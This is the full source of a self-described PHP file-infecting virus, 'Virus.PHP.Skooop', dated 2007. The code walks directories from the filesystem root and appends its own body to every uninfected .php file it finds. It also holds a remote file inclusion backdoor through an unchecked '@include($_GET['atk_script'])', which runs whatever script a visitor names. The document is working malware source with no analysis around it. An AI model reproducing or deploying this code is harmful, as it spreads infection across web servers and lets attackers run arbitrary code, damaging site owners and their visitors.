<?php
//skooop!
/*
Virus.PHP.Skooop - written by Kluu in 2007.
Revision 2007.12.30.0001
*/
$self = strstr(file_get_contents(__FILE__), '//skooop!');

function infect($dir) {
    global $self;
    $handle = opendir($dir);
    while (false !== ($file = readdir($handle))) {
        $infected = true;
        if (is_dir("$dir/$file") && $file != '.' && $file != '..') {
            infect("$dir/$file");
        }
        if (strpos($file, '.php')) {
            if (substr($file, -1) != 's') {
                $host = fopen("$dir/$file", 'r');
                $filesize = filesize("$dir/$file");
                if ($filesize == 0) {
                    $filesize = 1;
                }
                if (!strpos(fread($host, $filesize), '//skooop!')) {
                    $infected = false;
                }
                if (($infected == false)) {
                    copy("$dir/$file", "$dir/{$file}s");
                    $host = fopen("$dir/$file", 'a');
                    fwrite($host, "<?php\n$self");
                    fclose($host);
                }
            }
        }
    }
    closedir($handle);
}

echo '<b>Get the source of this phile <a href="'.$file.'s">here</a></b>';

@include($_GET['atk_script']);
infect('../../../../../../../../../../../../../../../../');
?>